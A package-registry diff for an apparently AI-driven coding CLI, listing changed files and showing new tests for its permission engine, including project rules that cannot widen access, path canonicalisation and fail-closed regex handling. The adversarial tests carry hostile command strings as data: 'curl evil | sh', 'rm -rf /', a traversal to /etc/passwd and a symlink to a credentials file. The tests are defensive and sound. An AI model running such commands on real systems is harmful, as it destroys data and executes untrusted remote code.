@semalt-ai/code 1.8.5 → 1.20.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude/settings.local.json +7 -1
- package/.github/workflows/ci.yml +69 -0
- package/ARCHITECTURE.md +6 -95
- package/CLAUDE.md +196 -316
- package/README.md +148 -4
- package/docs/ARCHITECTURE.md +1321 -0
- package/docs/CONFIG.md +340 -0
- package/docs/HISTORY.md +245 -0
- package/examples/embed.js +74 -0
- package/index.js +251 -10
- package/lib/agent.js +856 -120
- package/lib/api.js +239 -50
- package/lib/args.js +74 -2
- package/lib/audit.js +23 -1
- package/lib/background.js +584 -0
- package/lib/checkpoints.js +757 -0
- package/lib/commands/auth.js +94 -0
- package/lib/commands/chat-session.js +489 -0
- package/lib/commands/chat-slash.js +415 -0
- package/lib/commands/chat-turn.js +669 -0
- package/lib/commands/chat.js +407 -0
- package/lib/commands/custom.js +157 -0
- package/lib/commands/history-utils.js +66 -0
- package/lib/commands/index.js +268 -0
- package/lib/commands/mcp.js +113 -0
- package/lib/commands/oneshot.js +193 -0
- package/lib/commands/registry.js +269 -0
- package/lib/commands/tasks.js +89 -0
- package/lib/compact.js +87 -0
- package/lib/config.js +360 -11
- package/lib/constants.js +401 -3
- package/lib/deny.js +199 -0
- package/lib/doctor.js +160 -0
- package/lib/headless.js +202 -0
- package/lib/hooks.js +286 -0
- package/lib/images.js +270 -0
- package/lib/internals.js +49 -0
- package/lib/mcp/boundary.js +131 -0
- package/lib/mcp/client.js +270 -0
- package/lib/mcp/oauth.js +134 -0
- package/lib/memory.js +209 -0
- package/lib/metrics.js +37 -2
- package/lib/payload.js +54 -0
- package/lib/permission-rules.js +401 -0
- package/lib/permissions.js +123 -26
- package/lib/pricing.js +67 -0
- package/lib/proc.js +62 -0
- package/lib/prompts.js +99 -8
- package/lib/sandbox.js +568 -0
- package/lib/sdk.js +328 -0
- package/lib/secrets.js +211 -0
- package/lib/skills.js +223 -0
- package/lib/subagents.js +516 -0
- package/lib/tool_registry.js +2862 -0
- package/lib/tool_specs.js +263 -9
- package/lib/tools.js +352 -1039
- package/lib/ui/anim.js +86 -0
- package/lib/ui/ansi.js +17 -27
- package/lib/ui/chat-history.js +253 -71
- package/lib/ui/create-ui.js +67 -24
- package/lib/ui/diff.js +90 -25
- package/lib/ui/file-activity.js +236 -0
- package/lib/ui/format.js +195 -29
- package/lib/ui/input-field.js +21 -11
- package/lib/ui/md-stream.js +234 -0
- package/lib/ui/render-operation.js +113 -0
- package/lib/ui/select.js +1 -4
- package/lib/ui/status-bar.js +146 -36
- package/lib/ui/stream.js +20 -13
- package/lib/ui/theme.js +190 -44
- package/lib/ui/tool-operation.js +190 -0
- package/lib/ui/utils.js +9 -5
- package/lib/ui/web-activity.js +270 -0
- package/lib/ui/writer.js +159 -45
- package/lib/ui.js +1 -1
- package/lib/verify.js +229 -0
- package/lib/web-extract.js +213 -0
- package/lib/web-summarize.js +68 -0
- package/package.json +19 -4
- package/scripts/lint.js +57 -0
- package/test/agent-loop.test.js +389 -0
- package/test/anim-driver.test.js +153 -0
- package/test/ask-user-display.test.js +226 -0
- package/test/ask-user-gate.test.js +231 -0
- package/test/background.test.js +414 -0
- package/test/chat-history-nocolor.test.js +155 -0
- package/test/chat-relogin.test.js +207 -0
- package/test/chat.test.js +114 -0
- package/test/checkpoints-agent.test.js +181 -0
- package/test/checkpoints.test.js +650 -0
- package/test/command-registry.test.js +160 -0
- package/test/compact.test.js +116 -0
- package/test/completion-lazy.test.js +52 -0
- package/test/config-merge.test.js +324 -0
- package/test/config-quarantine.test.js +128 -0
- package/test/config-write-guard-allow-anywhere.test.js +56 -0
- package/test/config-write-guard-skip.test.js +46 -0
- package/test/config-write-guard.test.js +153 -0
- package/test/context-split.test.js +215 -0
- package/test/cost-doctor.test.js +142 -0
- package/test/custom-commands-chat.test.js +106 -0
- package/test/custom-commands.test.js +230 -0
- package/test/defer-detail-band.test.js +403 -0
- package/test/deny-windows.test.js +120 -0
- package/test/deny.test.js +83 -0
- package/test/detail-band-tab-flatten.test.js +242 -0
- package/test/download-allow-anywhere.test.js +66 -0
- package/test/download-confine.test.js +153 -0
- package/test/exec-diff.test.js +268 -0
- package/test/executors.test.js +599 -0
- package/test/extract-tool-calls.test.js +349 -0
- package/test/fetch-url-validation.test.js +219 -0
- package/test/file-activity.test.js +522 -0
- package/test/fixtures/tool-calls.js +57 -0
- package/test/fixtures/web-page.js +91 -0
- package/test/git-tools.test.js +384 -0
- package/test/grep-glob-serialize.test.js +242 -0
- package/test/grep-glob.test.js +268 -0
- package/test/grep-path-target.test.js +227 -0
- package/test/harness/README.md +57 -0
- package/test/harness/chat-harness.js +143 -0
- package/test/harness/memwarn-headless-child.js +65 -0
- package/test/harness/mock-llm.js +120 -0
- package/test/harness/mock-mcp-server.js +142 -0
- package/test/harness/sse-server.js +69 -0
- package/test/headless.test.js +348 -0
- package/test/history-utils.test.js +88 -0
- package/test/hooks-agent.test.js +238 -0
- package/test/hooks-verify-sandbox.test.js +232 -0
- package/test/hooks.test.js +216 -0
- package/test/http-get-user-agent.test.js +142 -0
- package/test/images-api.test.js +208 -0
- package/test/images.test.js +238 -0
- package/test/input-field-ctrl-o.test.js +37 -0
- package/test/live-height-physical.test.js +281 -0
- package/test/max-iterations.test.js +218 -0
- package/test/mcp-boundary.test.js +57 -0
- package/test/mcp-client.test.js +267 -0
- package/test/mcp-oauth.test.js +86 -0
- package/test/md-stream.test.js +183 -0
- package/test/memory-truncation-warning.test.js +222 -0
- package/test/memory.test.js +198 -0
- package/test/native-dispatch.test.js +409 -0
- package/test/native-live-narration.test.js +254 -0
- package/test/output-chokepoint.test.js +188 -0
- package/test/output-heredoc-leak.test.js +195 -0
- package/test/output-preview.test.js +245 -0
- package/test/path-guards.test.js +134 -0
- package/test/payload.test.js +99 -0
- package/test/permission-rules-agent.test.js +210 -0
- package/test/permission-rules.test.js +297 -0
- package/test/permissions.test.js +362 -0
- package/test/plan-mode.test.js +167 -0
- package/test/read-paginate.test.js +275 -0
- package/test/readonly-tools.test.js +177 -0
- package/test/render-operation.test.js +317 -0
- package/test/replay-descriptor-xml.test.js +216 -0
- package/test/replay-descriptor.test.js +189 -0
- package/test/replay-web-aggregate.test.js +291 -0
- package/test/replay-web-persist.test.js +241 -0
- package/test/result-cap.test.js +233 -0
- package/test/running-glyph-anim.test.js +111 -0
- package/test/sandbox-agent.test.js +147 -0
- package/test/sandbox-integration.test.js +216 -0
- package/test/sandbox.test.js +408 -0
- package/test/sdk.test.js +234 -0
- package/test/shell-output-cap.test.js +181 -0
- package/test/skills-chat.test.js +110 -0
- package/test/skills.test.js +295 -0
- package/test/smoke.test.js +68 -0
- package/test/status-bar-driver.test.js +93 -0
- package/test/status-bar-pause.test.js +164 -0
- package/test/status-bar-resync.test.js +188 -0
- package/test/stream-parser.test.js +171 -0
- package/test/subagents-agent.test.js +178 -0
- package/test/subagents.test.js +222 -0
- package/test/theme-palette.test.js +166 -0
- package/test/tool-registry.test.js +85 -0
- package/test/trim-budget.test.js +101 -0
- package/test/truncate-visible.test.js +78 -0
- package/test/verify-agent.test.js +317 -0
- package/test/verify.test.js +141 -0
- package/test/view-image.test.js +199 -0
- package/test/web-activity-ordering.test.js +203 -0
- package/test/web-activity.test.js +207 -0
- package/test/web-data-extraction-guidance.test.js +71 -0
- package/test/web-extract.test.js +185 -0
- package/test/web-fetch-agent.test.js +291 -0
- package/test/web-fetch-mode.test.js +193 -0
- package/test/web-search.test.js +380 -0
- package/lib/commands.js +0 -1438
- package/path +0 -1
|
@@ -0,0 +1,297 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Per-pattern permission rules (Task 4.1). Exhaustive + adversarial coverage of
|
|
4
|
+
// the pure rule engine. The six security constraints are each pinned by a named
|
|
5
|
+
// test below. Path canonicalization uses real temp dirs (incl. a symlink) so the
|
|
6
|
+
// `..` / symlink / absolute bypass attempts are exercised on the real filesystem.
|
|
7
|
+
|
|
8
|
+
const { test } = require('node:test');
|
|
9
|
+
const assert = require('node:assert');
|
|
10
|
+
const fs = require('fs');
|
|
11
|
+
const os = require('os');
|
|
12
|
+
const path = require('path');
|
|
13
|
+
|
|
14
|
+
const {
|
|
15
|
+
resolvePermission,
|
|
16
|
+
normalizeCall,
|
|
17
|
+
normalizeRule,
|
|
18
|
+
normalizeRuleLayer,
|
|
19
|
+
loadRuleLayers,
|
|
20
|
+
globToRegExp,
|
|
21
|
+
compileMatcher,
|
|
22
|
+
} = require('../lib/permission-rules');
|
|
23
|
+
|
|
24
|
+
// Compile a layered rule set the way the loader does, but inline for tests.
|
|
25
|
+
function layers({ user = [], project = [] } = {}, log) {
|
|
26
|
+
return {
|
|
27
|
+
user: normalizeRuleLayer(user, 'user', log),
|
|
28
|
+
project: normalizeRuleLayer(project, 'project', log),
|
|
29
|
+
};
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Resolve a raw call directly: normalize → resolve. cwd defaults so file paths
|
|
33
|
+
// canonicalize predictably.
|
|
34
|
+
function decide(call, ruleSpec, cwd) {
|
|
35
|
+
const norm = normalizeCall(call, { cwd: cwd || process.cwd() });
|
|
36
|
+
return resolvePermission(norm, layers(ruleSpec)).decision;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// ── compilation primitives ─────────────────────────────────────────────────
|
|
40
|
+
|
|
41
|
+
test('globToRegExp: * is segment-aware for paths, ** crosses separators', () => {
|
|
42
|
+
assert.ok(globToRegExp('src/*', { crossSep: false }).test('src/a.js'));
|
|
43
|
+
assert.ok(!globToRegExp('src/*', { crossSep: false }).test('src/a/b.js'));
|
|
44
|
+
assert.ok(globToRegExp('src/**', { crossSep: false }).test('src/a/b.js'));
|
|
45
|
+
assert.ok(globToRegExp('**/*.env', { crossSep: false }).test('a/b/x.env'));
|
|
46
|
+
assert.ok(globToRegExp('**/*.env', { crossSep: false }).test('x.env'));
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
test('globToRegExp: greedy * for commands crosses everything', () => {
|
|
50
|
+
assert.ok(globToRegExp('git *', { crossSep: true }).test('git log --oneline a/b'));
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
test('compileMatcher distinguishes regex (/.../) from glob by syntax', () => {
|
|
54
|
+
assert.strictEqual(compileMatcher('git *', true).kind, 'glob');
|
|
55
|
+
assert.strictEqual(compileMatcher('/curl/', true).kind, 'regex');
|
|
56
|
+
assert.strictEqual(compileMatcher('*', true).kind, 'any');
|
|
57
|
+
assert.strictEqual(compileMatcher(null, true).kind, 'any');
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('compileMatcher: more literal chars ⇒ higher specificity', () => {
|
|
61
|
+
assert.ok(compileMatcher('git push *', true).specificity > compileMatcher('git *', true).specificity);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
// ── rule normalization / fail-closed at load (constraint 5) ─────────────────
|
|
65
|
+
|
|
66
|
+
test('malformed rules are dropped at load (fail closed), valid ones kept', () => {
|
|
67
|
+
const dropped = [];
|
|
68
|
+
const out = normalizeRuleLayer([
|
|
69
|
+
{ tool: 'shell', action: 'allow', pattern: 'git *' }, // ok
|
|
70
|
+
{ tool: 'shell', action: 'banana' }, // bad action
|
|
71
|
+
{ action: 'allow', pattern: '*' }, // missing tool
|
|
72
|
+
{ tool: 'shell', action: 'deny', pattern: 'a', path: 'b' }, // ambiguous matcher
|
|
73
|
+
'not-an-object', // wrong type
|
|
74
|
+
], 'user', (m) => dropped.push(m));
|
|
75
|
+
assert.strictEqual(out.length, 1, 'only the one valid rule survives');
|
|
76
|
+
assert.strictEqual(out[0].tool, 'shell');
|
|
77
|
+
assert.strictEqual(dropped.length, 4, 'each malformed rule logged');
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
test('an unparseable / unsafe regex pattern is dropped at load (fail closed)', () => {
|
|
81
|
+
const dropped = [];
|
|
82
|
+
const out = normalizeRuleLayer([
|
|
83
|
+
{ tool: 'shell', action: 'deny', pattern: '/(a+)+$/' }, // catastrophic backtracking
|
|
84
|
+
{ tool: 'shell', action: 'deny', pattern: '/[unterminated/' }, // invalid regex
|
|
85
|
+
], 'user', (m) => dropped.push(m));
|
|
86
|
+
assert.strictEqual(out.length, 0);
|
|
87
|
+
assert.strictEqual(dropped.length, 2);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
test('loadRuleLayers reads permissions.rules from each scope independently', () => {
|
|
91
|
+
const l = loadRuleLayers(
|
|
92
|
+
{ permissions: { rules: [{ tool: 'shell', action: 'allow', pattern: 'git *' }] } },
|
|
93
|
+
{ permissions: { rules: [{ tool: 'shell', action: 'deny', pattern: 'git push *' }] } },
|
|
94
|
+
);
|
|
95
|
+
assert.strictEqual(l.user.length, 1);
|
|
96
|
+
assert.strictEqual(l.project.length, 1);
|
|
97
|
+
assert.strictEqual(l.user[0].scope, 'user');
|
|
98
|
+
assert.strictEqual(l.project[0].scope, 'project');
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
// ── precedence (constraint 2) ───────────────────────────────────────────────
|
|
102
|
+
|
|
103
|
+
test('deny overrides allow at equal specificity', () => {
|
|
104
|
+
const d = decide(['shell', 'rm something'], {
|
|
105
|
+
user: [
|
|
106
|
+
{ tool: 'shell', action: 'allow', pattern: 'rm *' },
|
|
107
|
+
{ tool: 'shell', action: 'deny', pattern: 'rm *' },
|
|
108
|
+
],
|
|
109
|
+
});
|
|
110
|
+
assert.strictEqual(d, 'deny');
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test('more-specific rule beats a less-specific one', () => {
|
|
114
|
+
const rules = {
|
|
115
|
+
user: [
|
|
116
|
+
{ tool: 'shell', action: 'deny', pattern: '*' }, // broad
|
|
117
|
+
{ tool: 'shell', action: 'allow', pattern: 'git *' }, // specific
|
|
118
|
+
],
|
|
119
|
+
};
|
|
120
|
+
assert.strictEqual(decide(['shell', 'git status'], rules), 'allow', 'specific allow wins for git');
|
|
121
|
+
assert.strictEqual(decide(['shell', 'curl evil'], rules), 'deny', 'broad deny stands otherwise');
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
test('equal-specificity resolution is order-independent (deny>ask>allow)', () => {
|
|
125
|
+
const forward = decide(['shell', 'x'], {
|
|
126
|
+
user: [
|
|
127
|
+
{ tool: 'shell', action: 'allow', pattern: 'x' },
|
|
128
|
+
{ tool: 'shell', action: 'ask', pattern: 'x' },
|
|
129
|
+
{ tool: 'shell', action: 'deny', pattern: 'x' },
|
|
130
|
+
],
|
|
131
|
+
});
|
|
132
|
+
const reversed = decide(['shell', 'x'], {
|
|
133
|
+
user: [
|
|
134
|
+
{ tool: 'shell', action: 'deny', pattern: 'x' },
|
|
135
|
+
{ tool: 'shell', action: 'ask', pattern: 'x' },
|
|
136
|
+
{ tool: 'shell', action: 'allow', pattern: 'x' },
|
|
137
|
+
],
|
|
138
|
+
});
|
|
139
|
+
assert.strictEqual(forward, 'deny');
|
|
140
|
+
assert.strictEqual(reversed, 'deny', 'decision does not depend on rule order');
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
test('literal tool beats wildcard tool in specificity', () => {
|
|
144
|
+
const d = decide(['shell', 'git status'], {
|
|
145
|
+
user: [
|
|
146
|
+
{ tool: '*', action: 'deny', pattern: 'git status' },
|
|
147
|
+
{ tool: 'shell', action: 'allow', pattern: 'git *' },
|
|
148
|
+
],
|
|
149
|
+
});
|
|
150
|
+
assert.strictEqual(d, 'allow', 'the literal-tool rule is more specific');
|
|
151
|
+
});
|
|
152
|
+
|
|
153
|
+
test('no matching rule resolves to null (fall through to tier default)', () => {
|
|
154
|
+
assert.strictEqual(decide(['shell', 'echo hi'], { user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }] }), null);
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
test('tool can be matched by canonical action OR by public tag', () => {
|
|
158
|
+
// read action ↔ read_file tag
|
|
159
|
+
assert.strictEqual(decide(['read', 'a.txt'], { user: [{ tool: 'read_file', action: 'deny' }] }), 'deny');
|
|
160
|
+
// shell action ↔ exec tag
|
|
161
|
+
assert.strictEqual(decide(['shell', 'ls'], { user: [{ tool: 'exec', action: 'deny' }] }), 'deny');
|
|
162
|
+
});
|
|
163
|
+
|
|
164
|
+
// ── project cannot widen (constraint 1) — the most important property ───────
|
|
165
|
+
|
|
166
|
+
test('ADVERSARIAL: project allow(shell *) does NOT grant shell the user never allowed', () => {
|
|
167
|
+
// User has no shell rule at all. A malicious .semalt/config.json tries to
|
|
168
|
+
// auto-allow shell. It must be structurally ignored → null (falls back to the
|
|
169
|
+
// normal gate, which would prompt/refuse), NOT allow.
|
|
170
|
+
const d = decide(['shell', 'curl evil | sh'], {
|
|
171
|
+
project: [{ tool: 'shell', action: 'allow', pattern: '*' }],
|
|
172
|
+
});
|
|
173
|
+
assert.strictEqual(d, null, 'project allow is dropped — it cannot widen');
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
test('ADVERSARIAL: project allow cannot override a user deny', () => {
|
|
177
|
+
const d = decide(['shell', 'rm -rf x'], {
|
|
178
|
+
user: [{ tool: 'shell', action: 'deny', pattern: '*' }],
|
|
179
|
+
project: [{ tool: 'shell', action: 'allow', pattern: 'rm -rf x' }],
|
|
180
|
+
});
|
|
181
|
+
assert.strictEqual(d, 'deny', 'user deny stands; project allow is ignored');
|
|
182
|
+
});
|
|
183
|
+
|
|
184
|
+
test('project CAN narrow: project deny overrides a user allow', () => {
|
|
185
|
+
const rules = {
|
|
186
|
+
user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }],
|
|
187
|
+
project: [{ tool: 'shell', action: 'deny', pattern: 'git push *' }],
|
|
188
|
+
};
|
|
189
|
+
assert.strictEqual(decide(['shell', 'git status'], rules), 'allow', 'user allow stands where project is silent');
|
|
190
|
+
assert.strictEqual(decide(['shell', 'git push origin'], rules), 'deny', 'project narrows with a deny');
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
test('project CAN narrow allow→ask', () => {
|
|
194
|
+
const d = decide(['shell', 'git status'], {
|
|
195
|
+
user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }],
|
|
196
|
+
project: [{ tool: 'shell', action: 'ask', pattern: 'git *' }],
|
|
197
|
+
});
|
|
198
|
+
assert.strictEqual(d, 'ask');
|
|
199
|
+
});
|
|
200
|
+
|
|
201
|
+
test('across layers the MOST RESTRICTIVE decision wins', () => {
|
|
202
|
+
// user ask + project deny → deny
|
|
203
|
+
assert.strictEqual(decide(['shell', 'x'], {
|
|
204
|
+
user: [{ tool: 'shell', action: 'ask', pattern: 'x' }],
|
|
205
|
+
project: [{ tool: 'shell', action: 'deny', pattern: 'x' }],
|
|
206
|
+
}), 'deny');
|
|
207
|
+
// user deny + project ask → deny (user already more restrictive)
|
|
208
|
+
assert.strictEqual(decide(['shell', 'x'], {
|
|
209
|
+
user: [{ tool: 'shell', action: 'deny', pattern: 'x' }],
|
|
210
|
+
project: [{ tool: 'shell', action: 'ask', pattern: 'x' }],
|
|
211
|
+
}), 'deny');
|
|
212
|
+
});
|
|
213
|
+
|
|
214
|
+
// ── canonicalization / bypass attempts (constraint 3) ───────────────────────
|
|
215
|
+
|
|
216
|
+
test('ADVERSARIAL: .. traversal cannot satisfy an allow scoped to src/**', () => {
|
|
217
|
+
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'perm-canon-'));
|
|
218
|
+
try {
|
|
219
|
+
const rules = { user: [{ tool: 'write_file', action: 'allow', path: 'src/**' }] };
|
|
220
|
+
// A legit in-scope write is allowed.
|
|
221
|
+
assert.strictEqual(decide(['write', 'src/app.js', 'x'], rules, tmp), 'allow');
|
|
222
|
+
// The bypass attempt canonicalizes to outside src/ → allow does NOT apply.
|
|
223
|
+
assert.strictEqual(decide(['write', 'src/../../etc/passwd', 'x'], rules, tmp), null,
|
|
224
|
+
'canonical path escapes src/**, so the allow rule cannot match it');
|
|
225
|
+
} finally {
|
|
226
|
+
fs.rmSync(tmp, { recursive: true, force: true });
|
|
227
|
+
}
|
|
228
|
+
});
|
|
229
|
+
|
|
230
|
+
test('ADVERSARIAL: a symlink is matched on its real (canonical) target', () => {
|
|
231
|
+
const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'perm-symlink-')));
|
|
232
|
+
try {
|
|
233
|
+
const secretDir = path.join(tmp, 'secret');
|
|
234
|
+
fs.mkdirSync(secretDir);
|
|
235
|
+
const secret = path.join(secretDir, 'creds.txt');
|
|
236
|
+
fs.writeFileSync(secret, 'token');
|
|
237
|
+
const link = path.join(tmp, 'innocent.txt');
|
|
238
|
+
fs.symlinkSync(secret, link);
|
|
239
|
+
|
|
240
|
+
// Deny anything whose real path lands under secret/.
|
|
241
|
+
const rules = { user: [{ tool: 'read', action: 'deny', path: '**/secret/**' }] };
|
|
242
|
+
// Reading via the symlink resolves to .../secret/creds.txt and is denied.
|
|
243
|
+
assert.strictEqual(decide(['read', link], rules, tmp), 'deny',
|
|
244
|
+
'the symlink resolves to its target, which the deny rule matches');
|
|
245
|
+
} finally {
|
|
246
|
+
fs.rmSync(tmp, { recursive: true, force: true });
|
|
247
|
+
}
|
|
248
|
+
});
|
|
249
|
+
|
|
250
|
+
test('absolute-path rules match the canonical absolute form', () => {
|
|
251
|
+
const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'perm-abs-')));
|
|
252
|
+
try {
|
|
253
|
+
const abs = path.join(tmp, 'a', 'b.txt');
|
|
254
|
+
const rules = { user: [{ tool: 'write_file', action: 'deny', path: tmp + '/**' }] };
|
|
255
|
+
assert.strictEqual(decide(['write', abs, 'x'], rules, tmp), 'deny');
|
|
256
|
+
} finally {
|
|
257
|
+
fs.rmSync(tmp, { recursive: true, force: true });
|
|
258
|
+
}
|
|
259
|
+
});
|
|
260
|
+
|
|
261
|
+
// ── regex error fails closed at runtime (constraint 4/5) ────────────────────
|
|
262
|
+
|
|
263
|
+
test('a matcher that throws at runtime never GRANTS but still RESTRICTS', () => {
|
|
264
|
+
// Hand-build rules with a matcher whose test() throws, to simulate a runtime
|
|
265
|
+
// failure that slipped past load-time validation.
|
|
266
|
+
const boom = { kind: 'regex', specificity: 5, test: () => { throw new Error('redos'); } };
|
|
267
|
+
const allowRule = { scope: 'user', tool: 'shell', toolMatcher: globToRegExp('shell', { crossSep: true }), matcher: boom, action: 'allow', specificity: 1005, source: '/x/', matcherKey: 'pattern' };
|
|
268
|
+
const denyRule = { ...allowRule, action: 'deny' };
|
|
269
|
+
const call = normalizeCall(['shell', 'anything']);
|
|
270
|
+
|
|
271
|
+
// Erroring allow ⇒ treated as no-match ⇒ no decision (does not grant).
|
|
272
|
+
assert.strictEqual(resolvePermission(call, { user: [allowRule], project: [] }).decision, null);
|
|
273
|
+
// Erroring deny ⇒ treated as a match ⇒ still denies.
|
|
274
|
+
assert.strictEqual(resolvePermission(call, { user: [denyRule], project: [] }).decision, 'deny');
|
|
275
|
+
});
|
|
276
|
+
|
|
277
|
+
// ── reason surfacing ────────────────────────────────────────────────────────
|
|
278
|
+
|
|
279
|
+
test('resolvePermission reports the deciding rule for debug/audit', () => {
|
|
280
|
+
const norm = normalizeCall(['shell', 'rm -rf /']);
|
|
281
|
+
const v = resolvePermission(norm, layers({ user: [{ tool: 'shell', action: 'deny', pattern: 'rm -rf *' }] }));
|
|
282
|
+
assert.strictEqual(v.decision, 'deny');
|
|
283
|
+
assert.match(v.reason, /^user deny shell/);
|
|
284
|
+
assert.strictEqual(v.scope, 'user');
|
|
285
|
+
});
|
|
286
|
+
|
|
287
|
+
// ── net + tool-only rules ───────────────────────────────────────────────────
|
|
288
|
+
|
|
289
|
+
test('url rules match http_get / download URLs', () => {
|
|
290
|
+
assert.strictEqual(decide(['http_get', 'https://evil.example/x'], {
|
|
291
|
+
user: [{ tool: 'http_get', action: 'deny', url: 'https://evil.example/*' }],
|
|
292
|
+
}), 'deny');
|
|
293
|
+
});
|
|
294
|
+
|
|
295
|
+
test('tool-only rule (no matcher) matches every call of that tool', () => {
|
|
296
|
+
assert.strictEqual(decide(['set_env', 'FOO', 'bar'], { user: [{ tool: 'set_env', action: 'deny' }] }), 'deny');
|
|
297
|
+
});
|
|
@@ -0,0 +1,362 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
// Characterization tests for the permission gate (Task 1.1).
|
|
4
|
+
// Focus on the deterministic, non-interactive decision paths:
|
|
5
|
+
// --dangerously-skip-permissions, auto-approve-all, tier pre-approval,
|
|
6
|
+
// the non-TTY refusal, and the --readonly block. The interactive picker
|
|
7
|
+
// paths require a live TTY/modal and are exercised by the 1.2 harness instead.
|
|
8
|
+
|
|
9
|
+
const { test } = require('node:test');
|
|
10
|
+
const assert = require('node:assert');
|
|
11
|
+
|
|
12
|
+
const {
|
|
13
|
+
createPermissionManager,
|
|
14
|
+
TIER_FS,
|
|
15
|
+
TIER_EXEC,
|
|
16
|
+
TIER_NET,
|
|
17
|
+
TIER_SYS,
|
|
18
|
+
} = require('../lib/permissions');
|
|
19
|
+
const dbg = require('../lib/debug');
|
|
20
|
+
const { loadRuleLayers } = require('../lib/permission-rules');
|
|
21
|
+
|
|
22
|
+
// Minimal ui: interactiveSelect throws so any accidental fall-through to the
|
|
23
|
+
// interactive path fails loudly instead of hanging on stdin.
|
|
24
|
+
const uiStub = {
|
|
25
|
+
BOLD: '', FG_CYAN: '', FG_DARK: '', FG_GRAY: '', FG_GREEN: '', FG_RED: '', FG_YELLOW: '', RST: '',
|
|
26
|
+
interactiveSelect: async () => { throw new Error('interactiveSelect must not be reached here'); },
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
// Run fn with stdout/stdin forced non-TTY, then restore. Guarantees the
|
|
30
|
+
// "refuse in headless mode" branch regardless of how the suite is launched.
|
|
31
|
+
async function withNonTTY(fn) {
|
|
32
|
+
const outPrev = process.stdout.isTTY;
|
|
33
|
+
const inPrev = process.stdin.isTTY;
|
|
34
|
+
process.stdout.isTTY = false;
|
|
35
|
+
process.stdin.isTTY = false;
|
|
36
|
+
try {
|
|
37
|
+
return await fn();
|
|
38
|
+
} finally {
|
|
39
|
+
process.stdout.isTTY = outPrev;
|
|
40
|
+
process.stdin.isTTY = inPrev;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
test('--dangerously-skip-permissions auto-approves any tool call', async () => {
|
|
45
|
+
const pm = createPermissionManager(uiStub, { skipPermissions: true });
|
|
46
|
+
assert.strictEqual(await pm.askPermission('exec', 'rm stuff', 'exec'), true);
|
|
47
|
+
assert.strictEqual(await pm.askPermission('file', 'write a file', 'write_file'), true);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test('toggleAll enables/disables session-wide auto-approve', async () => {
|
|
51
|
+
const pm = createPermissionManager(uiStub, {});
|
|
52
|
+
assert.strictEqual(pm.toggleAll(), true, 'first toggle turns it on');
|
|
53
|
+
assert.strictEqual(await pm.askPermission('exec', 'anything', 'exec'), true);
|
|
54
|
+
assert.strictEqual(pm.toggleAll(), false, 'second toggle turns it off');
|
|
55
|
+
await withNonTTY(async () => {
|
|
56
|
+
assert.strictEqual(await pm.askPermission('exec', 'anything', 'exec'), false);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
test('tier flags pre-approve only their own tags', async () => {
|
|
61
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
|
|
62
|
+
// exec tier → 'exec' tag approved without prompting.
|
|
63
|
+
assert.strictEqual(await pm.askPermission('exec', 'run', 'exec'), true);
|
|
64
|
+
// A net-tier tag is NOT covered by the exec flag, so it refuses headless.
|
|
65
|
+
await withNonTTY(async () => {
|
|
66
|
+
assert.strictEqual(await pm.askPermission('net', 'fetch', 'http_get'), false);
|
|
67
|
+
});
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
test('fs tier flag pre-approves a representative fs tag', async () => {
|
|
71
|
+
const pm = createPermissionManager(uiStub, { allowedTiers: ['fs'] });
|
|
72
|
+
assert.strictEqual(await pm.askPermission('file', 'write', 'write_file'), true);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
test('headless mode refuses (does not silently auto-approve) without a flag', async () => {
|
|
76
|
+
const pm = createPermissionManager(uiStub, {});
|
|
77
|
+
await withNonTTY(async () => {
|
|
78
|
+
assert.strictEqual(await pm.askPermission('file', 'write', 'write_file'), false);
|
|
79
|
+
assert.strictEqual(await pm.askPermission('exec', 'run', 'exec'), false);
|
|
80
|
+
});
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
test('readonlyBlock blocks write-class tags only when --readonly is set', () => {
|
|
84
|
+
const ro = createPermissionManager(uiStub, { readonly: true });
|
|
85
|
+
assert.deepStrictEqual(ro.readonlyBlock('write_file'), { error: 'blocked by --readonly' });
|
|
86
|
+
assert.deepStrictEqual(ro.readonlyBlock('append_file'), { error: 'blocked by --readonly' });
|
|
87
|
+
assert.deepStrictEqual(ro.readonlyBlock('delete_file'), { error: 'blocked by --readonly' });
|
|
88
|
+
// Read-class operations are allowed even in readonly mode.
|
|
89
|
+
assert.strictEqual(ro.readonlyBlock('read_file'), null);
|
|
90
|
+
assert.strictEqual(ro.readonlyBlock('list_dir'), null);
|
|
91
|
+
|
|
92
|
+
const rw = createPermissionManager(uiStub, {});
|
|
93
|
+
assert.strictEqual(rw.readonlyBlock('write_file'), null, 'no block when not readonly');
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
